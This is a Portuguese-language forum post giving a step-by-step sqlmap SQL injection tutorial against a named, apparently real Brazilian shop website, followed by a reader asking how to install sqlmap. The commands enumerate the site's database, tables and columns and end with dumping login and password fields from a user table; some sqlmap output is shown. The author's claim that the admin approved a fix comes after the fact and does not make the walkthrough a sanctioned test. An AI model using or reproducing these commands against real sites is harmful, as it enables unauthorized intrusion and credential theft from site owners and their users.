Tutorial Rapida Invasao Pelo Sqlmap Pelo Ubuntu.

[s0ftw43rs.Br]

nesse tutorial vou tentar demonstrar uma tecnica de sql injecto pelo sqlmap.

comando para instalar no ubuntu

 apt-get install sqlmap

ele vai ser instalado em /pentest/datadase/sqlmap. lenbrando ,ele é programado em PYTHON.

vamos começar.
site a ser explorado Apenas usuários registrados e ativados podem ver os links., Clique aqui para se cadastrar...

1) para verificarmos o nome do banco de dados atual."

./sqlmap.py --url "aki o site vul sem áspas " --current-db
comando

./sqlmap.py --url http://www.antiestaticos.com.br/lista_produto.php?IDcat=20 --current-db

resultado

back-end DBMS: MySQL 5.0
[11:50:37] [INFO] fetching current database
current database:    'antiestatic'

2)agora vamos listar as tabelas do banco de dados do site , no caso ,"
antiestatic" com o comando

./sqlmap.py --url http://www.antiestaticos.com.br/lista_produto.php?IDcat=20 -D antiestatic --tables

resultado


3)vamos explorar a tabela (UserAlb) com o comando

./sqlmap.py --url http://www.antiestaticos.com.br/lista_produto.php?IDcat=20 -D antiestatic -T UserAlb --columns

resuldato


4)finalmente vamos extrair os dados da coluna com o comando :

python sqlmap.py --url http://www.antiestaticos.com.br/lista_produto.php?IDcat=20 -D antiestatic -T UserAlb -C 'login,senha' --dump

resultado


obs:na maioria das vezes, o programa faz essa pergunta.
web application technology: Apache
back-end DBMS: MySQL 5.0
do you want sqlmap to consider provided column(s):
[1] as LIKE column names (default)
[2] as exact column names


escolha as exact column names apertando " 2 " e enter .

tutorial do seu amigo s0ftw43rs

visite o made in braizil

OBS. o site é real, mas eu enviei um mensagem pro administrador e ele me deixou concertar o erro, no caso eu so fiz excluir a pagina de administrador
[voce nao pode depender de tool's

[hacker1972]

Ajuda não consigo instalar o sqlmap alguém pode fazer um tutorial como instala ele no ubuntu ?